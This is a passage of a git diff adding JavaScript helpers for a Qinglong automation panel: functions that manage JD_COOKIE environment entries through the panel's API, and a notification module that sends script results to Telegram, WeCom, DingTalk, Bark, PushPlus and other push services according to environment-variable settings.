}).json(); + return body.data; +}; + +module.exports.getEnvsCount = async () => { + const data = await this.getEnvs(); + return data.length; +}; + +module.exports.addEnv = async (cookie, remarks) => { + const token = await getToken(); + const body = await api({ + method: 'post', + url: 'api/envs', + params: { t: Date.now() }, + json: [{ + name: 'JD_COOKIE', + value: cookie, + remarks, + }], + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.updateEnv = async (cookie, eid, remarks) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs', + params: { t: Date.now() }, + json: { + name: 'JD_COOKIE', + value: cookie, + _id: eid, + remarks, + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.updateEnv11 = async (cookie, eid, remarks) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs', + params: { t: Date.now() }, + json: { + name: 'JD_COOKIE', + value: cookie, + id: eid, + remarks, + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.DisableCk = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs/disable', + params: { t: Date.now() }, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.EnableCk = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs/enable', + params: { t: Date.now() }, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.getstatus = async(eid) => { + const envs = await this.getEnvs(); + var tempid = 0; + for (let i = 0; i < envs.length; i++) { + tempid = 0; + if (envs[i]._id) { + tempid = envs[i]._id; + } + if (envs[i].id) { + tempid = envs[i].id; + } + if (tempid == eid) { + return envs[i].status; + } + } + return 99; +}; + +module.exports.getEnvById = async(eid) => { + const envs = await this.getEnvs(); + var tempid = 0; + for (let i = 0; i < envs.length; i++) { + tempid = 0; + if (envs[i]._id) { + tempid = envs[i]._id; + } + if (envs[i].id) { + tempid = envs[i].id; + } + if (tempid == eid) { + return envs[i].value; + } + } + return ""; +}; + +module.exports.getEnvByPtPin = async (Ptpin) => { + const envs = await this.getEnvs(); + for (let i = 0; i < envs.length; i++) { + var tempptpin = decodeURIComponent(envs[i].value.match(/pt_pin=([^; ]+)(?=;?)/) && envs[i].value.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + if(tempptpin==Ptpin){ + return envs[i]; + } + } + return ""; +}; + +module.exports.delEnv = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'delete', + url: 'api/envs', + params: { t: Date.now() }, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; diff --git a/function/sendNotify.js b/function/sendNotify.js new file mode 100644 index 0000000..2b316f7 --- /dev/null +++ b/function/sendNotify.js @@ -0,0 +1,2499 @@ +/* + * @Author: lxk0301 https://gitee.com/lxk0301 + * @Date: 2020-08-19 16:12:40 + * @Last Modified by: whyour + * @Last Modified time: 2021-5-1 15:00:54 + * sendNotify 推送通知功能 + * @param text 通知头 + * @param desp 通知体 + * @param params 某些推送通知方式点击弹窗可跳转, 例:{ url: 'https://abc.com' } + * @param author 作者仓库等信息 例:`本通知 By:https://github.com/whyour/qinglong` + */ +//详细说明参考 https://github.com/ccwav/QLScript2. +const querystring = require('querystring'); +const exec = require('child_process').exec; +const $ = new Env(); +const timeout = 15000; //超时时间(单位毫秒) + +// =======================================go-cqhttp通知设置区域=========================================== +//gobot_url 填写请求地址http://127.0.0.1/send_private_msg +//gobot_token 填写在go-cqhttp文件设置的访问密钥 +//gobot_qq 填写推送到个人QQ或者QQ群号 +//go-cqhttp相关API https://docs.go-cqhttp.org/api +let GOBOT_URL = ''; // 推送到个人QQ: http://127.0.0.1/send_private_msg 群:http://127.0.0.1/send_group_msg +let GOBOT_TOKEN = ''; //访问密钥 +let GOBOT_QQ = ''; // 如果GOBOT_URL设置 /send_private_msg 则需要填入 user_id=个人QQ 相反如果是 /send_group_msg 则需要填入 group_id=QQ群 + +// =======================================微信server酱通知设置区域=========================================== +//此处填你申请的SCKEY. +//(环境变量名 PUSH_KEY) +let SCKEY = ''; + +// =======================================Bark App通知设置区域=========================================== +//此处填你BarkAPP的信息(IP/设备码,例如:https://api.day.app/XXXXXXXX) +let BARK_PUSH = ''; +//BARK app推送铃声,铃声列表去APP查看复制填写 +let BARK_SOUND = ''; +//BARK app推送消息的分组, 默认为"QingLong" +let BARK_GROUP = 'QingLong'; + +// =======================================telegram机器人通知设置区域=========================================== +//此处填你telegram bot 的Token,telegram机器人通知推送必填项.例如:1077xxx4424:AAFjv0FcqxxxxxxgEMGfi22B4yh15R5uw +//(环境变量名 TG_BOT_TOKEN) +let TG_BOT_TOKEN = ''; +//此处填你接收通知消息的telegram用户的id,telegram机器人通知推送必填项.例如:129xxx206 +//(环境变量名 TG_USER_ID) +let TG_USER_ID = ''; +//tg推送HTTP代理设置(不懂可忽略,telegram机器人通知推送功能中非必填) +let TG_PROXY_HOST = ''; //例如:127.0.0.1(环境变量名:TG_PROXY_HOST) +let TG_PROXY_PORT = ''; //例如:1080(环境变量名:TG_PROXY_PORT) +let TG_PROXY_AUTH = ''; //tg代理配置认证参数 +//Telegram api自建的反向代理地址(不懂可忽略,telegram机器人通知推送功能中非必填),默认tg官方api(环境变量名:TG_API_HOST) +let TG_API_HOST = 'api.telegram.org'; +// =======================================钉钉机器人通知设置区域=========================================== +//此处填你钉钉 bot 的webhook,例如:5a544165465465645d0f31dca676e7bd07415asdasd +//(环境变量名 DD_BOT_TOKEN) +let DD_BOT_TOKEN = ''; +//密钥,机器人安全设置页面,加签一栏下面显示的SEC开头的字符串 +let DD_BOT_SECRET = ''; + +// =======================================企业微信机器人通知设置区域=========================================== +//此处填你企业微信机器人的 webhook(详见文档 https://work.weixin.qq.com/api/doc/90000/90136/91770),例如:693a91f6-7xxx-4bc4-97a0-0ec2sifa5aaa +//(环境变量名 QYWX_KEY) +let QYWX_KEY = ''; + +// =======================================企业微信应用消息通知设置区域=========================================== +/* +此处填你企业微信应用消息的值(详见文档 https://work.weixin.qq.com/api/doc/90000/90135/90236) +环境变量名 QYWX_AM依次填入 corpid,corpsecret,touser(注:多个成员ID使用|隔开),agentid,消息类型(选填,不填默认文本消息类型) +注意用,号隔开(英文输入法的逗号),例如:wwcff56746d9adwers,B-791548lnzXBE6_BWfxdf3kSTMJr9vFEPKAbh6WERQ,mingcheng,1000001,2COXgjH2UIfERF2zxrtUOKgQ9XklUqMdGSWLBoW_lSDAdafat +可选推送消息类型(推荐使用图文消息(mpnews)): +- 文本卡片消息: 0 (数字零) +- 文本消息: 1 (数字一) +- 图文消息(mpnews): 素材库图片id, 可查看此教程(http://note.youdao.com/s/HMiudGkb)或者(https://note.youdao.com/ynoteshare1/index.html?id=1a0c8aff284ad28cbd011b29b3ad0191&type=note) + */ +let QYWX_AM = ''; + +// =======================================iGot聚合推送通知设置区域=========================================== +//此处填您iGot的信息(推送key,例如:https://push.hellyw.com/XXXXXXXX) +let IGOT_PUSH_KEY = ''; + +// =======================================push+设置区域======================================= +//官方文档:http://www.pushplus.plus/ +//PUSH_PLUS_TOKEN:微信扫码登录后一对一推送或一对多推送下面的token(您的Token),不提供PUSH_PLUS_USER则默认为一对一推送 +//PUSH_PLUS_USER: 一对多推送的“群组编码”(一对多推送下面->您的群组(如无则新建)->群组编码,如果您是创建群组人。也需点击“查看二维码”扫描绑定,否则不能接受群组消息推送) +let PUSH_PLUS_TOKEN = ''; +let PUSH_PLUS_USER = ''; +let PUSH_PLUS_TOKEN_hxtrip = ''; +let PUSH_PLUS_USER_hxtrip = ''; + +// ======================================= WxPusher 通知设置区域 =========================================== +// 此处填你申请的 appToken. 官方文档:https://wxpusher.zjiecode.com/docs +// WP_APP_TOKEN 可在管理台查看: https://wxpusher.zjiecode.com/admin/main/app/appToken +// WP_TOPICIDS 群发, 发送目标的 topicId, 以 ; 分隔! 使用 WP_UIDS 单发的时候, 可以不传 +// WP_UIDS 发送目标的 uid, 以 ; 分隔。注意 WP_UIDS 和 WP_TOPICIDS 可以同时填写, 也可以只填写一个。 +// WP_URL 原文链接, 可选参数 +let WP_APP_TOKEN = ""; +let WP_TOPICIDS = ""; +let WP_UIDS = ""; +let WP_URL = ""; + +let WP_APP_TOKEN_ONE = ""; +if (process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; +} +let WP_UIDS_ONE = ""; + +// =======================================gotify通知设置区域============================================== +//gotify_url 填写gotify地址,如https://push.example.de:8080 +//gotify_token 填写gotify的消息应用token +//gotify_priority 填写推送消息优先级,默认为0 +let GOTIFY_URL = ''; +let GOTIFY_TOKEN = ''; +let GOTIFY_PRIORITY = 0; + +/** + * sendNotify 推送通知功能 + * @param text 通知头 + * @param desp 通知体 + * @param params 某些推送通知方式点击弹窗可跳转, 例:{ url: 'https://abc.com' } + * @param author 作者仓库等信息 例:`本通知 By:https://github.com/whyour/qinglong` + * @returns {Promise} + */ +let PushErrorTime = 0; +let strTitle = ""; +let ShowRemarkType = "1"; +let Notify_NoCKFalse = "false"; +let Notify_NoLoginSuccess = "false"; +let UseGroupNotify = 1; +let strAuthor = ""; +const { + getEnvs +} = require('./ql'); +const fs = require('fs'); +let strCKFile = '/ql/scripts/CKName_cache.json'; +let Fileexists = fs.existsSync(strCKFile); +let TempCK = []; +if (Fileexists) { + console.log("加载sendNotify,检测到别名缓存文件,载入..."); + TempCK = fs.readFileSync(strCKFile, 'utf-8'); + if (TempCK) { + TempCK = TempCK.toString(); + TempCK = JSON.parse(TempCK); + } +} +let strUidFile = './CK_WxPusherUid.json'; +let UidFileexists = fs.existsSync(strUidFile); +let TempCKUid = []; +if (UidFileexists) { + console.log("检测到WxPusherUid文件,载入..."); + TempCKUid = fs.readFileSync(strUidFile, 'utf-8'); + if (TempCKUid) { + TempCKUid = TempCKUid.toString(); + TempCKUid = JSON.parse(TempCKUid); + } +} + +let tempAddCK = {}; +let boolneedUpdate = false; +let strCustom = ""; +let strCustomArr = []; +let strCustomTempArr = []; +let Notify_CKTask = ""; +let Notify_SkipText = []; +async function sendNotify(text, desp, params = {}, author = '\n\n本通知 By ccwav Mod') { + console.log(`开始发送通知...`); + try { + //Reset 变量 + console.log("通知标题: " + text); + UseGroupNotify = 1; + strTitle = ""; + GOBOT_URL = ''; + GOBOT_TOKEN = ''; + GOBOT_QQ = ''; + SCKEY = ''; + BARK_PUSH = ''; + BARK_SOUND = ''; + BARK_GROUP = 'QingLong'; + TG_BOT_TOKEN = ''; + TG_USER_ID = ''; + TG_PROXY_HOST = ''; + TG_PROXY_PORT = ''; + TG_PROXY_AUTH = ''; + TG_API_HOST = 'api.telegram.org'; + DD_BOT_TOKEN = ''; + DD_BOT_SECRET = ''; + QYWX_KEY = ''; + QYWX_AM = ''; + IGOT_PUSH_KEY = ''; + PUSH_PLUS_TOKEN = ''; + PUSH_PLUS_USER = ''; + PUSH_PLUS_TOKEN_hxtrip = ''; + PUSH_PLUS_USER_hxtrip = ''; + Notify_CKTask = ""; + Notify_SkipText = []; + + //变量开关 + var Use_serverNotify = true; + var Use_pushPlusNotify = true; + var Use_BarkNotify = true; + var Use_tgBotNotify = true; + var Use_ddBotNotify = true; + var Use_qywxBotNotify = true; + var Use_qywxamNotify = true; + var Use_iGotNotify = true; + var Use_gobotNotify = true; + var Use_pushPlushxtripNotify = true; + var Use_WxPusher = true; + + if (process.env.NOTIFY_NOCKFALSE) { + Notify_NoCKFalse = process.env.NOTIFY_NOCKFALSE; + } + strAuthor = ""; + if (process.env.NOTIFY_AUTHOR) { + strAuthor = process.env.NOTIFY_AUTHOR; + } + if (process.env.NOTIFY_SHOWNAMETYPE) { + ShowRemarkType = process.env.NOTIFY_SHOWNAMETYPE; + } + if (process.env.NOTIFY_NOLOGINSUCCESS) { + Notify_NoLoginSuccess = process.env.NOTIFY_NOLOGINSUCCESS; + } + if (process.env.NOTIFY_CKTASK) { + Notify_CKTask = process.env.NOTIFY_CKTASK; + } + + if (process.env.NOTIFY_SKIP_TEXT && desp) { + Notify_SkipText = process.env.NOTIFY_SKIP_TEXT.split('&'); + if (Notify_SkipText.length > 0) { + for (var Templ in Notify_SkipText) { + if (desp.indexOf(Notify_SkipText[Templ]) != -1) { + console.log("检测内容到内容存在屏蔽推送的关键字(" + Notify_SkipText[Templ] + "),将跳过推送..."); + return; + } + } + } + } + + if (text.indexOf("cookie已失效") != -1 || desp.indexOf("重新登录获取") != -1 || text == "Ninja 运行通知") { + + if (Notify_CKTask) { + console.log("触发CK脚本,开始执行...."); + Notify_CKTask = "task " + Notify_CKTask + " now"; + await exec(Notify_CKTask, function (error, stdout, stderr) { + console.log(error, stdout, stderr) + }); + } + if (Notify_NoCKFalse == "true" && text != "Ninja 运行通知") { + return; + } + } + + //检查黑名单屏蔽通知 + const notifySkipList = process.env.NOTIFY_SKIP_LIST ? process.env.NOTIFY_SKIP_LIST.split('&') : []; + let titleIndex = notifySkipList.findIndex((item) => item === text); + + if (titleIndex !== -1) { + console.log(`${text} 在推送黑名单中,已跳过推送`); + return; + } + + if (text.indexOf("已可领取") != -1) { + if (text.indexOf("农场") != -1) { + strTitle = "东东农场领取"; + } else { + strTitle = "东东萌宠领取"; + } + } + if (text.indexOf("汪汪乐园养joy") != -1) { + strTitle = "汪汪乐园养joy领取"; + } + + if (text == "京喜工厂") { + if (desp.indexOf("元造进行兑换") != -1) { + strTitle = "京喜工厂领取"; + } + } + + if (text.indexOf("任务") != -1 && (text.indexOf("新增") != -1 || text.indexOf("删除") != -1)) { + strTitle = "脚本任务更新"; + } + if (strTitle) { + const notifyRemindList = process.env.NOTIFY_NOREMIND ? process.env.NOTIFY_NOREMIND.split('&') : []; + titleIndex = notifyRemindList.findIndex((item) => item === strTitle); + + if (titleIndex !== -1) { + console.log(`${text} 在领取信息黑名单中,已跳过推送`); + return; + } + + } else { + strTitle = text; + } + + if (Notify_NoLoginSuccess == "true") { + if (desp.indexOf("登陆成功") != -1) { + console.log(`登陆成功不推送`); + return; + } + } + + if (strTitle == "汪汪乐园养joy领取" && WP_APP_TOKEN_ONE) { + console.log(`捕获汪汪乐园养joy领取通知,开始尝试一对一推送...`); + const TempList = text.split('- '); + if (TempList.length == 3) { + var strNickName = TempList[TempList.length - 1]; + var strPtPin = ""; + console.log(`捕获别名:` + strNickName); + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].nickName == strNickName) { + strPtPin = TempCK[j].pt_pin; + break; + } + if (TempCK[j].pt_pin == strNickName) { + strPtPin = TempCK[j].pt_pin; + break; + } + } + if (strPtPin) { + console.log(`别名反查PtPin成功:` + strPtPin); + await sendNotifybyWxPucher("汪汪乐园领取通知", `【京东账号】${strPtPin}\n当前等级: 30\n已自动领取最高等级奖励\n请前往京东极速版APP查看使用优惠券\n活动入口:京东极速版APP->我的->优惠券->京券`, strPtPin); + } else { + console.log(`别名反查PtPin失败: 1.用户更改了别名 2.可能是新用户,别名缓存还没有。`); + } + } + } else { + console.log(`尝试一对一推送失败,无法捕获别名...`); + } + } + //检查脚本名称是否需要通知到Group2,Group2读取原环境配置的变量名后加2的值.例如: QYWX_AM2 + const notifyGroup2List = process.env.NOTIFY_GROUP2_LIST ? process.env.NOTIFY_GROUP2_LIST.split('&') : []; + const titleIndex2 = notifyGroup2List.findIndex((item) => item === strTitle); + const notifyGroup3List = process.env.NOTIFY_GROUP3_LIST ? process.env.NOTIFY_GROUP3_LIST.split('&') : []; + const titleIndexGp3 = notifyGroup3List.findIndex((item) => item === strTitle); + const notifyGroup4List = process.env.NOTIFY_GROUP4_LIST ? process.env.NOTIFY_GROUP4_LIST.split('&') : []; + const titleIndexGp4 = notifyGroup4List.findIndex((item) => item === strTitle); + const notifyGroup5List = process.env.NOTIFY_GROUP5_LIST ? process.env.NOTIFY_GROUP5_LIST.split('&') : []; + const titleIndexGp5 = notifyGroup5List.findIndex((item) => item === strTitle); + const notifyGroup6List = process.env.NOTIFY_GROUP6_LIST ? process.env.NOTIFY_GROUP6_LIST.split('&') : []; + const titleIndexGp6 = notifyGroup6List.findIndex((item) => item === strTitle); + + if (titleIndex2 !== -1) { + console.log(`${strTitle} 在群组2推送名单中,初始化群组推送`); + UseGroupNotify = 2; + } + if (titleIndexGp3 !== -1) { + console.log(`${strTitle} 在群组3推送名单中,初始化群组推送`); + UseGroupNotify = 3; + } + if (titleIndexGp4 !== -1) { + console.log(`${strTitle} 在群组4推送名单中,初始化群组推送`); + UseGroupNotify = 4; + } + if (titleIndexGp5 !== -1) { + console.log(`${strTitle} 在群组5推送名单中,初始化群组推送`); + UseGroupNotify = 5; + } + if (titleIndexGp6 !== -1) { + console.log(`${strTitle} 在群组6推送名单中,初始化群组推送`); + UseGroupNotify = 6; + } + if (process.env.NOTIFY_CUSTOMNOTIFY) { + strCustom = process.env.NOTIFY_CUSTOMNOTIFY; + } + if (strCustom) { + strCustomArr = strCustom.replace(/^\[|\]$/g, "").split(","); + strCustomTempArr = []; + for (var Tempj in strCustomArr) { + strCustomTempArr = strCustomArr[Tempj].split("&"); + if (strCustomTempArr.length > 1) { + if (strTitle == strCustomTempArr[0]) { + console.log("检测到自定义设定,开始执行配置..."); + if (strCustomTempArr[1] == "组1") { + console.log("自定义设定强制使用组1配置通知..."); + UseGroupNotify = 1; + } + if (strCustomTempArr[1] == "组2") { + console.log("自定义设定强制使用组2配置通知..."); + UseGroupNotify = 2; + } + if (strCustomTempArr[1] == "组3") { + console.log("自定义设定强制使用组3配置通知..."); + UseGroupNotify = 3; + } + if (strCustomTempArr[1] == "组4") { + console.log("自定义设定强制使用组4配置通知..."); + UseGroupNotify = 4; + } + if (strCustomTempArr[1] == "组5") { + console.log("自定义设定强制使用组5配置通知..."); + UseGroupNotify = 5; + } + if (strCustomTempArr[1] == "组6") { + console.log("自定义设定强制使用组6配置通知..."); + UseGroupNotify = 6; + } + + if (strCustomTempArr.length > 2) { + console.log("关闭所有通知变量..."); + Use_serverNotify = false; + Use_pushPlusNotify = false; + Use_pushPlushxtripNotify = false; + Use_BarkNotify = false; + Use_tgBotNotify = false; + Use_ddBotNotify = false; + Use_qywxBotNotify = false; + Use_qywxamNotify = false; + Use_iGotNotify = false; + Use_gobotNotify = false; + + for (let Tempk = 2; Tempk < strCustomTempArr.length; Tempk++) { + var strTrmp = strCustomTempArr[Tempk]; + switch (strTrmp) { + case "Server酱": + Use_serverNotify = true; + console.log("自定义设定启用Server酱进行通知..."); + break; + case "pushplus": + Use_pushPlusNotify = true; + console.log("自定义设定启用pushplus(推送加)进行通知..."); + break; + case "pushplushxtrip": + Use_pushPlushxtripNotify = true; + console.log("自定义设定启用pushplus_hxtrip(推送加)进行通知..."); + break; + case "Bark": + Use_BarkNotify = true; + console.log("自定义设定启用Bark进行通知..."); + break; + case "TG机器人": + Use_tgBotNotify = true; + console.log("自定义设定启用telegram机器人进行通知..."); + break; + case "钉钉": + Use_ddBotNotify = true; + console.log("自定义设定启用钉钉机器人进行通知..."); + break; + case "企业微信机器人": + Use_qywxBotNotify = true; + console.log("自定义设定启用企业微信机器人进行通知..."); + break; + case "企业微信应用消息": + Use_qywxamNotify = true; + console.log("自定义设定启用企业微信应用消息进行通知..."); + break; + case "iGotNotify": + Use_iGotNotify = true; + console.log("自定义设定启用iGot进行通知..."); + break; + case "gobotNotify": + Use_gobotNotify = true; + console.log("自定义设定启用go-cqhttp进行通知..."); + break; + case "WxPusher": + Use_WxPusher = true; + console.log("自定义设定启用WxPusher进行通知..."); + break; + + } + } + + } + } + } + } + + } + + //console.log("UseGroup2 :"+UseGroup2); + //console.log("UseGroup3 :"+UseGroup3); + + + switch (UseGroupNotify) { + case 1: + if (process.env.GOBOT_URL && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL; + } + if (process.env.GOBOT_TOKEN && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN; + } + if (process.env.GOBOT_QQ && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ; + } + + if (process.env.PUSH_KEY && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY; + } + + if (process.env.WP_APP_TOKEN && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN; + } + + if (process.env.WP_TOPICIDS && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS; + } + + if (process.env.WP_UIDS && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS; + } + + if (process.env.WP_URL && Use_WxPusher) { + WP_URL = process.env.WP_URL; + } + if (process.env.BARK_PUSH && Use_BarkNotify) { + if (process.env.BARK_PUSH.indexOf('https') > -1 || process.env.BARK_PUSH.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH}`; + } + if (process.env.BARK_SOUND) { + BARK_SOUND = process.env.BARK_SOUND; + } + if (process.env.BARK_GROUP) { + BARK_GROUP = process.env.BARK_GROUP; + } + } else { + if (BARK_PUSH && BARK_PUSH.indexOf('https') === -1 && BARK_PUSH.indexOf('http') === -1 && Use_BarkNotify) { + //兼容BARK本地用户只填写设备码的情况 + BARK_PUSH = `https://api.day.app/${BARK_PUSH}`; + } + } + if (process.env.TG_BOT_TOKEN && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN; + } + if (process.env.TG_USER_ID && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID; + } + if (process.env.TG_PROXY_AUTH && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH; + if (process.env.TG_PROXY_HOST && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST; + if (process.env.TG_PROXY_PORT && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT; + if (process.env.TG_API_HOST && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST; + + if (process.env.DD_BOT_TOKEN && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN; + if (process.env.DD_BOT_SECRET) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET; + } + } + + if (process.env.QYWX_KEY && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY; + } + + if (process.env.QYWX_AM && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM; + } + + if (process.env.IGOT_PUSH_KEY && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY; + } + + if (process.env.PUSH_PLUS_TOKEN && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN; + } + if (process.env.PUSH_PLUS_USER && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip; + } + if (process.env.PUSH_PLUS_USER_hxtrip && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip; + } + if (process.env.GOTIFY_URL) { + GOTIFY_URL = process.env.GOTIFY_URL; + } + if (process.env.GOTIFY_TOKEN) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN; + } + if (process.env.GOTIFY_PRIORITY) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY; + } + + break; + + case 2: + //==========================第二套环境变量赋值========================= + + if (process.env.GOBOT_URL2 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL2; + } + if (process.env.GOBOT_TOKEN2 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN2; + } + if (process.env.GOBOT_QQ2 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ2; + } + + if (process.env.PUSH_KEY2 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY2; + } + + if (process.env.WP_APP_TOKEN2 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN2; + } + + if (process.env.WP_TOPICIDS2 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS2; + } + + if (process.env.WP_UIDS2 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS2; + } + + if (process.env.WP_URL2 && Use_WxPusher) { + WP_URL = process.env.WP_URL2; + } + if (process.env.BARK_PUSH2 && Use_BarkNotify) { + if (process.env.BARK_PUSH2.indexOf('https') > -1 || process.env.BARK_PUSH2.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH2; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH2}`; + } + if (process.env.BARK_SOUND2) { + BARK_SOUND = process.env.BARK_SOUND2; + } + if (process.env.BARK_GROUP2) { + BARK_GROUP = process.env.BARK_GROUP2; + } + } + if (process.env.TG_BOT_TOKEN2 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN2; + } + if (process.env.TG_USER_ID2 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID2; + } + if (process.env.TG_PROXY_AUTH2 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH2; + if (process.env.TG_PROXY_HOST2 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST2; + if (process.env.TG_PROXY_PORT2 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT2; + if (process.env.TG_API_HOST2 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST2; + + if (process.env.DD_BOT_TOKEN2 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN2; + if (process.env.DD_BOT_SECRET2) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET2; + } + } + + if (process.env.QYWX_KEY2 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY2; + } + + if (process.env.QYWX_AM2 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM2; + } + + if (process.env.IGOT_PUSH_KEY2 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY2; + } + + if (process.env.PUSH_PLUS_TOKEN2 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN2; + } + if (process.env.PUSH_PLUS_USER2 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER2; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip2 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip2; + } + if (process.env.PUSH_PLUS_USER_hxtrip2 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip2; + } + if (process.env.GOTIFY_URL2) { + GOTIFY_URL = process.env.GOTIFY_URL2; + } + if (process.env.GOTIFY_TOKEN2) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN2; + } + if (process.env.GOTIFY_PRIORITY2) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY2; + } + break; + + case 3: + //==========================第三套环境变量赋值========================= + + if (process.env.GOBOT_URL3 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL3; + } + if (process.env.GOBOT_TOKEN3 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN3; + } + if (process.env.GOBOT_QQ3 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ3; + } + + if (process.env.PUSH_KEY3 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY3; + } + + if (process.env.WP_APP_TOKEN3 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN3; + } + + if (process.env.WP_TOPICIDS3 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS3; + } + + if (process.env.WP_UIDS3 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS3; + } + + if (process.env.WP_URL3 && Use_WxPusher) { + WP_URL = process.env.WP_URL3; + } + + if (process.env.BARK_PUSH3 && Use_BarkNotify) { + if (process.env.BARK_PUSH3.indexOf('https') > -1 || process.env.BARK_PUSH3.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH3; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH3}`; + } + if (process.env.BARK_SOUND3) { + BARK_SOUND = process.env.BARK_SOUND3; + } + if (process.env.BARK_GROUP3) { + BARK_GROUP = process.env.BARK_GROUP3; + } + } + if (process.env.TG_BOT_TOKEN3 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN3; + } + if (process.env.TG_USER_ID3 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID3; + } + if (process.env.TG_PROXY_AUTH3 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH3; + if (process.env.TG_PROXY_HOST3 && Use_tgBotNotify) + TG_PROXY_HOST = 